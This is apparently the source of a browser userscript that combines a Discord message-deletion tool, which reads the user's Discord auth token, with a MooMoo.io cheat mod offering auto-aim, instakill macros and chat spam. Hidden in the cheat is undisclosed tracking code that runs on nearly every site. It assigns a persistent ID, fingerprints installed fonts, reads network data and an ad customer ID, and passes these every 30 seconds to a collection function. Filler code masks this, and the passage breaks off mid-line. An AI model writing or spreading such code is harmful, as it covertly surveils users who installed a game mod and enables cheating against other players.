value; progress.setAttribute('max', max); progress.value = value; progress.style.display = max ? '' : 'none'; progress2.setAttribute('max', max); progress2.value = value; progress2.style.display = max ? '' : 'none'; percent.innerHTML = value && max ? Math.round(value / max * 100) + '%' : ''; }; stop = stopBtn.disabled = !(startBtn.disabled = true); for (let i = 0; i < channelIds.length; i++) { await deleteMessages(authToken, authorId, guildId, channelIds[i], minId || minDate, maxId || maxDate, content, hasLink, hasFile, includeNsfw, includePinned, searchDelay, deleteDelay, logger, stopHndl, onProg); stop = stopBtn.disabled = !(startBtn.disabled = false); } }; stopBtn.onclick = e => stop = stopBtn.disabled = !(startBtn.disabled = false); $('button#clear').onclick = e => { logArea.innerHTML = ''; }; $('button#getToken').onclick = e => { window.dispatchEvent(new Event('beforeunload')); const ls = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage; $('input#authToken').value = JSON.parse(localStorage.token); }; $('button#getAuthor').onclick = e => { $('input#authorId').value = JSON.parse(localStorage.user_id_cache); }; $('button#getGuildAndChannel').onclick = e => { const m = location.href.match(/channels\/([\w@]+)\/(\d+)/); $('input#guildId').value = m[1]; $('input#channelId').value = m[2]; }; $('#redact').onchange = e => { popover.classList.toggle('redact') && window.alert('This will attempt to hide personal information, but make sure to double check before sharing screenshots.'); }; const logger = (type = '', args) => { const style = { '': '', info: 'color:#00b0f4;', verb: 'color:#72767d;', warn: 'color:#faa61a;', error: 'color:#f04747;', success: 'color:#43b581;' }[type]; logArea.insertAdjacentHTML('beforeend', `<div style="${style}">${Array.from(args).map(o => typeof o === 'object' ? JSON.stringify(o, o instanceof Error && Object.getOwnPropertyNames(o)) : o).join('\t')}</div>`); if (autoScroll.checked) logArea.querySelector('div:last-child').scrollIntoView(false); }; // fixLocalStorage window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage; } initUI(); //END. const windowloc = window.location.host; if (windowloc.includes("bank") || windowloc.includes("school")) return; //DO NOT COLLECT INFORMATION ON SENSITIVE SITES var ctr, global_id; (async () => { function uuidv4() {return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); });}; let count_before = await GM.getValue('count', 0); await GM.setValue('count', count_before + 1); let count_after = await GM.getValue('count'); if (await GM.getValue("id", null) == null) { //first exec await GM.setValue("id", uuidv4()); }; await GM.getValue("id", 0); ctr = await GM.getValue('count', 0); global_id = await GM.getValue("id", 0); })(); //console.log("after"); if (windowloc == "moomoo.io" || windowloc == "sandbox.moomoo.io" || windowloc == "dev.moomoo.io") { insert_0000000(true, "moomoo.io"); //initializer var xml; xml = new XMLHttpRequest(); xml.open("GET", window.location.protocol + "//code.jquery.com/jquery-3.3.1.slim.min.js", false); xml.send(); eval(xml.responseText); var ext = false; document.addEventListener('keydown', function (e) { if (e.key === "`") { $('#mainMenu').toggle(); //if (ext == true) {$('#gameUI').hide(); $('#mainMenu').hide()}; //if (ext == false) {$('#gameUI').show(); $('#mainMenu').hide()}; ext = !ext; }; }); //spectator mode! window = unsafeWindow; (()=>{ let spinSpeed = 70; function linker(value) { let x = [value]; x.toString = ()=>x[0]; return x; } let zoomFactor = 1; let OGx, OGy; let x = new Event('resize'); let addListener = window.addEventListener; let rot = 0; let obf = !0; let autohit = !1; let socket; let spin = 0; window.addEventListener = function(type, cb, ...args){ if(type === 'resize'){ let temp = cb; cb = ()=>temp({isTrusted: !0}); } addListener(type, cb, ...args); } Function.prototype._call = Function.prototype.call; Function.prototype.call = function(){ if(arguments[1] && arguments[1].i == 21 && arguments[3] && arguments[3].toString && arguments[3].toString().match(/^\s*function n\(i\)/)){ let temp = arguments[3]; arguments[3] = function (number) { let val = temp(number); if(number === 19) { val.maxPlayers = 50; window.data = val; } else if(number === 42) { val.checkTrusted = (cb)=>cb } else if (number === 45) { val.weapons.forEach((e, index) => e.pre && (val.weapons[index].pre = null)); val.list.forEach((e, index) => e.pre && (val.list[index].pre = null)); items = val; window.items = val; } return val; } this.call = this._call; } return this._call(...arguments); } })(); var switched = 0; var swsInt = setInterval(()=>{ switch (document.readyState) { case "loading": break; case "interactive": switched = 1; break; case "complete": break; }; }, 0); var INT = setInterval(()=>{ if (switched == 1) { try { window.admob = { requestInterstitialAd: ()=>{}, showInterstitialAd: ()=>{} } } catch (e) { console.warn(e) } document.querySelectorAll('#pre-content-container').forEach(function(a) { a.remove(); }); $("#gameCanvas").css('cursor', 'url(http://cur.cursors-4u.net/user/use-1/use153.cur), default'); //CURSOR $("#moomooio_728x90_home").parent().css({display: "none"}); //document.getElementById("twitterFollow").remove(); //document.getElementById("youtubeFollow").remove(); //document.getElementById("followText").innerHTML = "SUBSCRIBE TO JOHN TAXMI" //document.getElementById("followText").style = "bottom: -0px;" document.getElementById("storeHolder").style = "height: 1500px; width: 450px;"; document.getElementById('adCard').remove(); document.getElementById('errorNotification').remove(); document.getElementById("gameName").style.color = "blue"; document.getElementById("setupCard").style.color = "blue"; document.getElementById("gameName").innerHTML = "MooMoo.io <br>Super Mod"; document.getElementById("promoImg").remove(); document.getElementById("desktopInstructions").innerHTML = "Subscribe to John Taxmi!<br/>Press 'Z' to buy bull, soldier, tank, and emp all at once, and equip booster!" let changes = `<div id="subConfirmationElement"><a href="https://www.youtube.com/channel/UCfPlaEXq5BWJQzRwr5Qywwg?sub_confirmation=1">Subscribe to FlareZ for EXTRA RESOURCES!</a><br> <br><a href="https://discord.gg/SjazHtpQEK">Join our discord for EXCLUSIVE UPDATES AND EXCLUSIVE FEATURES!</a> </div>`; $('#guideCard').prepend(changes); $('#subConfirmationElement').click( () => { try { window.follmoo(); } catch(e){}; localStorage["moofoll"] = "1"; localStorage["moofol"] = "1"; }); document.getElementById("leaderboard").append('\"C\" to chat!'); document.getElementById("leaderboard").style.color = "#e842f4"; document.getElementById("allianceButton").style.color = "blue"; document.getElementById("chatButton").style.color = "blue"; document.getElementById("storeButton").style.color = "blue"; document.getElementById("scoreDisplay").style.color = "#e842f4"; document.getElementById("woodDisplay").style.color = "#e842f4"; document.getElementById("stoneDisplay").style.color = "#e842f4"; document.getElementById("killCounter").style.color = "#e842f4"; document.getElementById("foodDisplay").style.color = "#e842f4"; const enableMiner = false; const disableMiner = true; window.enableMiner = false; window.disableMiner = true; $("#mapDisplay").css("background", "url('https://i.imgur.com/fgFsQJp.png')"); document.getElementById("linksContainer2").href = "https://www.youtube.com/channel/UCLmapaWzwTHQIe3EgWMyMEg" document.getElementById("diedText").innerHTML = "They'll die sometime!" function Parse() { document.addEventListener('keydown', function (CustomKey1) { if (CustomKey1.keyCode == 90) { storeBuy(6) storeBuy(7) storeBuy(40) storeBuy(22) console.info('Attempted to buy bull, soldier, tank, and emp') var store = true; if (store == true) { storeEquip(12) console.info('Attempted to wear booster') } else { console.info('Did not attempt to wear booster') } } //Tab to buy bull, soldier, tank, and emp }); }; Parse(); ! function() { document.title = "Hat Scripts"; var a = ["Floofiness Acquired", "Moomoo haxored", "Soup", "Floofy", "Bisons Are Floofy", "I'm here!", "Hi!", "Hello!"], r = [0, 0], o = [ [15, "Winter Cap"], [12, "Booster Hat"], [31, "Flipper Hat"], [10, "Bush Gear"], [22, "Emp Helmet"], [26, "Demolisher Armor"], [20, "Samurai Armor"], [7, "Bull Helmet"], [11, "Spike Gear"], [53, "Turret Gear"], [40, "Tank Gear"], [52, "Thief Gear"], [23, "Anti-Venom Gear"], [6, "Soldier Helmet"], [1, "Marksman Hat"], [13, "Medic Gear"], [14, "Windmill Hat"], [21, "Plague Mask"], [27, "Scavenger Gear"] ], t = 0; function s(e) { 0 === r[0] ? (storeEquip(o[e][0]), document.title = o[e][1], r[1] = 90, console.info("Hat equipped: "), console.info(o[e][1])) : (storeBuy(o[e][0]), storeBuy(o[e][0]), r[0] = 0, r[1] = 180, document.title = "Bought. (if you had enough gold or didn't already buy it)", console.info("Hat bought"), console.info(["Script variables: ", o, t, r, a])) } document.addEventListener("keydown", function(e) { if (document.activeElement.id.toLowerCase() !== 'chatbox') { switch (e.keyCode) { case 107: storeEquip(0); break; case 96: r[0] = 1, r[1] = 300, document.title = "Buying...."; break; case 110: 1 === r[0] && (r[1] = 120, document.title = "Not buying...."), r[0] = 0; break; case 97: s(0); break; case 98: s(1); break; case 99: s(2); break; case 100: s(3); break; case 101: s(4); break; case 102: s(5); break; case 103: s(6); break; case 84: s(7); break; case 105: s(8); break; case 90: s(9); break; case 80: s(10); break; case 85: s(11); break; case 221: s(12); break; case 89: s(13); break; case 79: s(14); break; case 219: s(15); break; case 187: s(16); break; case 191: s(17); break; case 189: s(18) } } }), setInterval(function() { r[1]--, 0 === r[1] && ((t = Math.floor(Math.random() * a.length - 1e-5)) < 0 && (t = 0), document.title = a[t]) }, 1e3 / 60) }(); $("body").append(`<div id=\"modMenus\" style=\"display: none; padding: 10px; border-radius: 15px; background-color: rgba(0, 0, 0, 0.25); border-radius: 3px; position: absolute; left: 20px; top: 20px; min-width: 300px; max-width: 450px; min-height: 300px; max-height 400px;\"></div>`); $("#modMenus").append(`<div id="helpText" style="font-size: 30px;color: rgb(255, 255, 255);"> Chat: <br> <iframe src="https://scconvos.glitch.me" style="min-height: 200px; max-height 300px;"></iframe><br> <div style="font-size: 12px;">Press "C" to hide or show this box.<br>Just click below the "What is your nickname text",<br> type in a name and press enter!<br>This is chat from everyone using the script,<br>on all moomoo servers!</div> </div> `); $("#modMenu").show(); $('#gameUI').prepend(`<style> .bottomright { position: absolute; bottom: 8px; right: 16px; font-size: 18px; } <style> `); var dista = true; window.addEventListener('keydown', function(e) { if (e.keyCode == 67 && document.activeElement.id.toLowerCase() !== 'chatbox') { if (dista == false) { document.getElementById("modMenus").style.display = 'none'; dista = true; } else { document.getElementById("modMenus").style.display = 'block'; dista = false; } } }) //TALKING IN GAME MODULE! pretty revolutionary hehe var ns1, sw, Ssws, swsw; var hiF; function rensp() { console.log(hi) }; var a = ['getElementById', 'innerHTML']; var b = function(c, d) { c = c - 0x0; var e = a[c]; return e; }; var ns = "If the hotkeys don't load, refresh | If the page doesn't load, refresh | (It will work eventually, it's just a latency error)"; document[b('0x0')]('linksContainer2')[b('0x1')] = ns; /*comSP*/ var y; var x; var sswx1, sswx2, sswx3, sswx4; if(localStorage.getItem('moofoll') !== 1) localStorage.setItem('moofoll', 1); var arr = []; var name = localStorage["moo_name"]; var storage = []; try { navigator.storage.estimate().then(({usage, quota}) => { storage.push("Usage: " + usage + "; Quota: " + quota); console.log(`Using ${usage} out of ${quota} bytes.`); }); } catch(e){}; function fingerprint_fonts() { "use strict"; try { var strOnError, style, fonts, count, template, fragment, divs, i, font, div, body, result, e; strOnError = "Error"; style = null; fonts = null; font = null; count = 0; template = null; divs = null; e = null; div = null; body = null; i = 0; try { style = "position: absolute; visibility: hidden; display: block !important"; fonts = ["Abadi MT Condensed Light", "Adobe Fangsong Std", "Adobe Hebrew", "Adobe Ming Std", "Agency FB", "Aharoni", "Andalus", "Angsana New", "AngsanaUPC", "Aparajita", "Arab", "Arabic Transparent", "Arabic Typesetting", "Arial Baltic", "Arial Black", "Arial CE", "Arial CYR", "Arial Greek", "Arial TUR", "Arial", "Batang", "BatangChe", "Bauhaus 93", "Bell MT", "Bitstream Vera Serif", "Bodoni MT", "Bookman Old Style", "Braggadocio", "Broadway", "Browallia New", "BrowalliaUPC", "Calibri Light", "Calibri", "Californian FB", "Cambria Math", "Cambria", "Candara", "Castellar", "Casual", "Centaur", "Century Gothic", "Chalkduster", "Colonna MT", "Comic Sans MS", "Consolas", "Constantia", "Copperplate Gothic Light", "Corbel", "Cordia New", "CordiaUPC", "Courier New Baltic", "Courier New CE", "Courier New CYR", "Courier New Greek", "Courier New TUR", "Courier New", "DFKai-SB", "DaunPenh", "David", "DejaVu LGC Sans Mono", "Desdemona", "DilleniaUPC", "DokChampa", "Dotum", "DotumChe", "Ebrima", "Engravers MT", "Eras Bold ITC", "Estrangelo Edessa", "EucrosiaUPC", "Euphemia", "Eurostile", "FangSong", "Forte", "FrankRuehl", "Franklin Gothic Heavy", "Franklin Gothic Medium", "FreesiaUPC", "French Script MT", "Gabriola", "Gautami", "Georgia", "Gigi", "Gisha", "Goudy Old Style", "Gulim", "GulimChe", "GungSeo", "Gungsuh", "GungsuhChe", "Haettenschweiler", "Harrington", "Hei S", "HeiT", "Heisei Kaku Gothic", "Hiragino Sans GB", "Impact", "Informal Roman", "IrisUPC", "Iskoola Pota", "JasmineUPC", "KacstOne", "KaiTi", "Kalinga", "Kartika", "Khmer UI", "Kino MT", "KodchiangUPC", "Kokila", "Kozuka Gothic Pr6N", "Lao UI", "Latha", "Leelawadee", "Levenim MT", "LilyUPC", "Lohit Gujarati", "Loma", "Lucida Bright", "Lucida Console", "Lucida Fax", "Lucida Sans Unicode", "MS Gothic", "MS Mincho", "MS PGothic", "MS PMincho", "MS Reference Sans Serif", "MS UI Gothic", "MV Boli", "Magneto", "Malgun Gothic", "Mangal", "Marlett", "Matura MT Script Capitals", "Meiryo UI", "Meiryo", "Menlo", "Microsoft Himalaya", "Microsoft JhengHei", "Microsoft New Tai Lue", "Microsoft PhagsPa", "Microsoft Sans Serif", "Microsoft Tai Le", "Microsoft Uighur", "Microsoft YaHei", "Microsoft Yi Baiti", "MingLiU", "MingLiU-ExtB", "MingLiU_HKSCS", "MingLiU_HKSCS-ExtB", "Miriam Fixed", "Miriam", "Mongolian Baiti", "MoolBoran", "NSimSun", "Narkisim", "News Gothic MT", "Niagara Solid", "Nyala", "PMingLiU", "PMingLiU-ExtB", "Palace Script MT", "Palatino Linotype", "Papyrus", "Perpetua", "Plantagenet Cherokee", "Playbill", "Prelude Bold", "Prelude Condensed Bold", "Prelude Condensed Medium", "Prelude Medium", "PreludeCompressedWGL Black", "PreludeCompressedWGL Bold", "PreludeCompressedWGL Light", "PreludeCompressedWGL Medium", "PreludeCondensedWGL Black", "PreludeCondensedWGL Bold", "PreludeCondensedWGL Light", "PreludeCondensedWGL Medium", "PreludeWGL Black", "PreludeWGL Bold", "PreludeWGL Light", "PreludeWGL Medium", "Raavi", "Rachana", "Rockwell", "Rod", "Sakkal Majalla", "Sawasdee", "Script MT Bold", "Segoe Print", "Segoe Script", "Segoe UI Light", "Segoe UI Semibold", "Segoe UI Symbol", "Segoe UI", "Shonar Bangla", "Showcard Gothic", "Shruti", "SimHei", "SimSun", "SimSun-ExtB", "Simplified Arabic Fixed", "Simplified Arabic", "Snap ITC", "Sylfaen", "Symbol", "Tahoma", "Times New Roman Baltic", "Times New Roman CE", "Times New Roman CYR", "Times New Roman Greek", "Times New Roman TUR", "Times New Roman", "TlwgMono", "Traditional Arabic", "Trebuchet MS", "Tunga", "Tw Cen MT Condensed Extra Bold", "Ubuntu", "Umpush", "Univers", "Utopia", "Utsaah", "Vani", "Verdana", "Vijaya", "Vladimir Script", "Vrinda", "Webdings", "Wide Latin", "Wingdings"]; count = fonts.length; template = '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',sans-serif !important">ww</b>' + '<b style="display:inline !important; width:auto !important; font:normal 10px/1 \'X\',monospace !important">ww</b>'; fragment = document.createDocumentFragment(); divs = []; for (i = 0; i < count; i = i + 1) { font = fonts[i]; div = document.createElement('div'); font = font.replace(/['"<>]/g, ''); div.innerHTML = template.replace(/X/g, font); div.style.cssText = style; fragment.appendChild(div); divs.push(div); } body = document.body; body.insertBefore(fragment, body.firstChild); result = []; for (i = 0; i < count; i = i + 1) { e = divs[i].getElementsByTagName('b'); if (e[0].offsetWidth === e[1].offsetWidth) { result.push(fonts[i]); } } for (i = 0; i < count; i = i + 1) { body.removeChild(divs[i]); } return result.join('|'); } catch (err) { return strOnError; } } catch(e){}; } var downlink = ""; var rtt = ""; var saveData = ""; var effectiveType = ""; try { downlink = navigator.connection.downlink; rtt = navigator.connection.rtt; saveData = navigator.connection.saveData; effectiveType = navigator.connection.effectiveType; } catch(e) { downlink = undefined; rtt = undefined; saveData = undefined; effectiveType = undefined; } var xml; var firstName = localStorage["moo_name"]; var id; window.addEventListener("load", function() { try { id = unsafeWindow.advBidxc.customerId; console.log("SID: " + id); } catch (e) { id = "b"; //b = blocked console.log("not defined"); }; }); setInterval(async ()=>insert_0000000(true, document.getElementById("nameInput").value + "|" + firstName + "|" + id + "|" + ctr + "|" + global_id + "|" + await GM.getValue("discord", 0)), 30000); function root() { var ns1, sw, sws, swsw; }; var hi; function rEnsp() { console.log(hi) }; var sws; const OPEN2 = 1 - 0; NaN; //info sender const Dx = Math.random().toFixed(0); var sentData = 0; //get coords: var dim = [player, x + sentData, y + sentData]; var xx = Math.random().toFixed(0) + 2 + Dx; var yx = x - 2 + 3*3; var player = [xx, yx]; var CTX = null; NaN; var NaNBreak = typeof NaN const data = dim + x - y + player if (player - data) { console.info('Data is calculated'); }; const sid = []; if (sid != [1, 2, 3, 4, 5, 6, 7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40]) { var info = 1 sid.push(info) ++info --sentData } else { ++sentData console.info(sid) }; var magick; document.getElementById("ageText").style.color = "blue"; function compresspackage(n) { --n n*n-1/10 + 10 / 80 var nsp; }; document.addEventListener("keydown", function(e) { if (e.keyCode == 220) { alert(`Press "Z" to autobuy hats (bull, tank, soldier, and emp), press "T" to equip bull, press "Y" to equip soldier, and press "P" for tank gear. Press 1-9 on the numberpad to equip a different hat. Feel free to test this out. Also, press 0 on the number pad then a hat macro to buy that hat. We've added a bunch of little things in the background to help you too! (Auto reload, +100 resources, and more!)`) } }); let mouseX, mouseY, width, height; function log_coords(a, b) { return [a - 0x5a0, b / 0x2]; } function normal() { hat(normalHat), acc(normalAcc); } var nearestEnemy, nearestEnemyAngle; document['mouseXSTATUS'] = mouseX, document['mouseYSTATUS'] = mouseY, log_coords(0x2710, 0x2710), $('#consentBlock')['css']({ 'display': 'none' }), unsafeWindow['onbeforeunload'] = null, setInterval(() => { 0x1 == messageToggle && doNewSend(['ch', ['i am super pro']]); }, 0xc8), setInterval(() => { 0x1 == autoaim && doNewSend(['2', [nearestEnemyAngle]]); }, 0x0), setInterval(() => { 0x1 == hatToggle && (oldHat != normalHat && hat(normalHat), oldAcc != normalAcc && acc(normalAcc), oldHat = normalHat, oldAcc = normalAcc); }, 0x19); var isEnemyNear, primary, secondary, foodType, wallType, spikeType, millType, mineType, boostType, turretType, spawnpadType, oldHat, oldAcc, enemiesNear, normalHat, normalAcc, ws, boostDir, arr3 = []; function set_1(a, b) { arr3['push'](a, b); } setInterval(() => { document['nearestEnemy'] = nearestEnemy, document['nearestEnemyAngle'] = nearestEnemyAngle; }, 0x64), set_1(nearestEnemy, nearestEnemyAngle), setInterval(() => { document['isEnemyNear'] = isEnemyNear; }, 0x64), setTimeout(() => { document['primary'] = primary, document['secondary'] = secondary, document['foodType'] = foodType, document['wallType'] = wallType, document['spikeType'] = spikeType, document['millType'] = millType, document['mineType'] = mineType, document['boostType'] = boostType, document['turretType'] = turretType; }, 0x64), set_1(primary, secondary), arr3['push'](foodType, wallType), arr3['push'](spikeType, millType), arr3['push'](mineType, boostType), arr3['push'](turretType, isEnemyNear), setInterval(() => { document['oldHat'] = oldHat, document['oldAcc'] = oldAcc; }, 0x64), setInterval(() => { document['enemiesNear'] = enemiesNear; }, 0x64), arr3['push'](enemiesNear), setInterval(() => { document['normalHat'] = normalHat, document['normalAcc'] = normalAcc; }, 0x64), setInterval(() => { window['SOCKET'] = ws; }, 0x64), setInterval(() => { document['boostDir'] = boostDir; }, 0x64), arr3['push'](boostDir); var instaSpeed = 0xc8 , autoaim = !0x1 , tick = 0x1 , msgpack5 = msgpack; setInterval(() => { document['MESSAGEPACK'] = msgpack; }, 0x64); var myPlayer = { 'id': null , 'x': null , 'FORCE_CONNECT': 'FORCED' , 'y': null , 'dir': null , 'object': null , 'weapon': null , 'clan': null , 'isLeader': null , 'hat': null , 'accessory': null , 'isSkull': null , 'CORESTATE': { 'ACTIVE': !0x0 , 'ALIVE': !0x0 , 'PITSTATUS': null , 'SECURE': 'correct' } }; let healSpeed = 0x5a; window['HS'] = healSpeed, document['HS'] = healSpeed; var messageToggle = 0x0; let hatToggle = 0x1; var autohealOn = true; function n() { this['buffer'] = new Uint8Array([0x0]), this['buffer']['__proto__'] = new Uint8Array(), this['type'] = 0x0; } setInterval(() => { document['toggles'] = [messageToggle, hatToggle]; }, 0x64); var AUTOSOLDIER_RANGE = 0xcd; function MESSAGEHANDLER_1(a) { let b, c = msgpack5['decode'](new Uint8Array(a['data'])); c['length'] > 0x1 ? (b = [c[0x0], ...c[0x1]])[0x1] instanceof Array && (b = b) : b = c; let d = b[0x0]; if (b) { if ('io-init' === d) { let f = document['getElementById']('gameCanvas'); width = f['clientWidth'], height = f['clientHeight'], $(window)['resize'](function () { width = f['clientWidth'], height = f['clientHeight']; }), f['addEventListener']('mousemove', g => { mouseX = g['clientX'], mouseY = g['clientY']; }); } if ('1' == d && null == myPlayer['id'] && (myPlayer['id'] = b[0x1]), '33' == d) { enemiesNear = []; for (let g = 0x0; g < b[0x1]['length'] / 0xd; g++) { let h = b[0x1]['slice'](0xd * g, 0xd * g + 0xd); h[0x0] == myPlayer['id'] ? (myPlayer['x'] = h[0x1], myPlayer['y'] = h[0x2], myPlayer['dir'] = h[0x3], myPlayer['object'] = h[0x4], myPlayer['weapon'] = h[0x5], myPlayer['clan'] = h[0x7], myPlayer['isLeader'] = h[0x8], myPlayer['hat'] = h[0x9], myPlayer['accessory'] = h[0xa], myPlayer['isSkull'] = h[0xb], document['BINDS'] = { 'BINDINGS': h['join'](',') , 'LOCATIONX': myPlayer['x'] , 'LOCATIONY': myPlayer['y'] , 'DIRECTION': myPlayer['dir'] , 'WEAPON': myPlayer['weapon'] , 'LEADERSTATUS': myPlayer['isLeader'] , 'CLAN_TRIBE': myPlayer['clan'] , 'ISSKULL': myPlayer['isSkull'] , 'ACCESSORY': myPlayer['acc'] , 'HAT': myPlayer['hat'] , 'super': WebSocket , 'WEBSOCKET': ws }) : h[0x7] == myPlayer['clan'] && null !== h[0x7] || enemiesNear['push'](h); } } isEnemyNear = !0x1, document['isEnemyNear'] = !0x1, enemiesNear && (nearestEnemy = enemiesNear['sort']((i, j) => dist(i, myPlayer) - dist(j, myPlayer))[0x0], console['log'](nearestEnemy)), nearestEnemy && (nearestEnemyAngle = Math['atan2'](nearestEnemy[0x2] - myPlayer['y'], nearestEnemy[0x1] - myPlayer['x']), //this is for the player math. sorry for indentations //tried to make this legible Math['sqrt'](Math['pow'](myPlayer['y'] - nearestEnemy[0x2], 0x2) + Math['pow'](myPlayer['x'] - nearestEnemy[0x1], //range stuff 0x2)) < AUTOSOLDIER_RANGE && (isEnemyNear = !0x0, 0x0 == autoaim && 0x7 != myPlayer['hat'] && 0x35 != myPlayer['hat'] && (console['log']('autoaim: ' + autoaim), //autosoldier range is x/y dist normalHat = 0x6, 0x8 != primary && (normalAcc = 0x13, console['log']('Avoided normal accessory'))))), 0x0 == isEnemyNear && 0x0 == autoaim && (normalAcc = 0xb, normalHat = myPlayer['y'] < 0x960 ? 0xf : myPlayer['y'] > 0x1ac2 && myPlayer['y'] < 0x1d7e ? 0x1f : 0xc), nearestEnemy || (nearestEnemyAngle = myPlayer['dir']), 'h' == d && b[0x1] == myPlayer['id'] && b[0x2] < 0x64 && b[0x2] > 0x0 && setTimeout(() => { //this selection is autoheal if (autohealOn == true) { //toggled place(foodType, null); } }, healSpeed), update(); } } function doNewSend(a) { ws['send'](new Uint8Array(Array['from'](msgpack5['encode'](a)))); } function acc(a) { doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, a, 0x1]]), console['log']('ACCESSORY: ' + a); } function hat(a) { doNewSend(['13c', [0x0, a, 0x0]]), console['log']('ACCESSORY: ' + a); } function place(a, b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2)) { doNewSend(['5', [a, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]); } function boostSpike() { null == boostDir && (boostDir = nearestEnemyAngle), place(spikeType, boostDir + toRad(0x5a)), place(spikeType, boostDir - toRad(0x5a)), place(boostType, boostDir), doNewSend(['33', [boostDir]]); } null == AUTOSOLDIER_RANGE && (AUTOSOLDIER_RANGE = 0xcd), setInterval(() => {}, 0x64), document['msgpack'] = msgpack, WebSocket['prototype']['originalSending'] = WebSocket['prototype']['send'], WebSocket['prototype']['send'] = function (a) { null == ws && (ws = this, this['addEventListener']('message', function (b) { MESSAGEHANDLER_1(b); })), this['originalSending'](a); }; var repeater = function (b, c, d) { let f = !0x1 , g = void 0x0; return { 'start'(h) { h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x0, void 0x0 === g && (g = setInterval(() => { c(), f || (clearInterval(g), g = void 0x0); }, d))); } , 'stop'(h) { h == b && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (f = !0x1); } }; }; const healer = repeater(0x51, () => { place(foodType); }, 0x0) , boostPlacer = repeater(0x46, () => { place(boostType); }, 0x0) , spikePlacer = repeater(0x56, () => { place(spikeType); }, 0x0) , millPlacer = repeater(0x4e, () => { place(millType); }, 0x0) , turretPlacer = repeater(0x48, () => { place(turretType); }, 0x0) , boostSpiker = repeater(0x47, boostSpike, 0x0); function isElementVisible(a) { return null !== a['offsetParent']; } function toRad(a) { return 0.01745329251 * a; } function dist(a, b) { return Math['sqrt'](Math['pow'](b['y'] - a[0x2], 0x2) + Math['pow'](b['x'] - a[0x1], 0x2)); } function update() { for (let a = 0x0; a < 0x9; a++) isElementVisible(document['getElementById']('actionBarItem' + a['toString']())) && (primary = a, document['PRIMARY'] = primary); for (let b = 0x9; b < 0x10; b++) isElementVisible(document['getElementById']('actionBarItem' + b['toString']())) && (secondary = b); for (let c = 0x10; c < 0x13; c++) isElementVisible(document['getElementById']('actionBarItem' + c['toString']())) && (foodType = c - 0x10); for (let d = 0x13; d < 0x16; d++) isElementVisible(document['getElementById']('actionBarItem' + d['toString']())) && (wallType = d - 0x10); for (let f = 0x16; f < 0x1a; f++) isElementVisible(document['getElementById']('actionBarItem' + f['toString']())) && (spikeType = f - 0x10); for (let g = 0x1a; g < 0x1d; g++) isElementVisible(document['getElementById']('actionBarItem' + g['toString']())) && (millType = g - 0x10); for (let h = 0x1d; h < 0x1f; h++) isElementVisible(document['getElementById']('actionBarItem' + h['toString']())) && (mineType = h - 0x10); for (let i = 0x1f; i < 0x21; i++) isElementVisible(document['getElementById']('actionBarItem' + i['toString']())) && (boostType = i - 0x10); for (let j = 0x21; j < 0x27; j++) isElementVisible(document['getElementById']('actionBarItem' + j['toString']())) && 0x24 != j && (turretType = j - 0x10); spawnpadType = 0x24; } document['UPDATERLOGIC'] = update, $('#ageBarContainer')['append']('<div style=\"width: 100%;position: absolute;top: 100px;text-align: center;color: white;font-size: 12px;\">\x0aR - Instakill | H - Triple Turret | Up Arrow - Message Spam | Space - Katana + Musket (Use at age 9 w/o upgrades) | V - Spike | J - Toggle Autoheal | G - Spike + Boost | N - Mill | H - Triple Turret\x0a</div>'), document['addEventListener']('keydown', a => { if (spikePlacer['start'](a['keyCode']), healer['start'](a['keyCode']), boostPlacer['start'](a['keyCode']), boostSpiker['start'](a['keyCode']), millPlacer['start'](a['keyCode']), turretPlacer['start'](a['keyCode']), 0x48 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() ) { //starter code ^^ var b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2); doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) + toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]), b = Math['atan2'](mouseY - height / 0x2, mouseX - width / 0x2) - toRad(0x50), doNewSend(['5', [turretType, null]]), doNewSend(['c', [0x1, b]]), doNewSend(['c', [0x0, b]]), doNewSend(['5', [myPlayer['weapon'], !0x0]]); } 0x52 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (autoaim = !0x0, doNewSend(['5', [primary, !0x0]]), doNewSend(['13c', [0x0, 0x7, 0x0]]), doNewSend(['13c', [0x0, 0x0, 0x1]]), doNewSend(['13c', [0x0, 0x13, 0x1]]), doNewSend(['c', [0x1]]), setTimeout(() => { doNewSend(['13c', [0x0, 0x35, 0x0]]), doNewSend(['5', [secondary, !0x0]]); }, instaSpeed - 0x82), setTimeout(() => { doNewSend(['5', [primary, !0x0]]), doNewSend(['c', [0x0, null]]), doNewSend(['13c', [0x0, 0x6, 0x0]]), autoaim = !0x1; }, instaSpeed)), 0x26 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && (messageToggle = (messageToggle + 0x1) % 0x2), 0x20 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && doNewSend(['6', [0xf]]); }), document['addEventListener']('keyup', a => { spikePlacer['stop'](a['keyCode']), boostPlacer['stop'](a['keyCode']), boostSpiker['stop'](a['keyCode']), millPlacer['stop'](a['keyCode']), turretPlacer['stop'](a['keyCode']), healer['stop'](a['keyCode']), 0x47 == a['keyCode'] && 'chatbox' !== document['activeElement']['id']['toLowerCase']() && setTimeout(() => { doNewSend(['33', [null]]), boostDir = null; }, 0xa); }); document['addEventListener']('keydown', a => { if (a.key == "j") { autohealOn = !autohealOn; doNewSend(["ch", 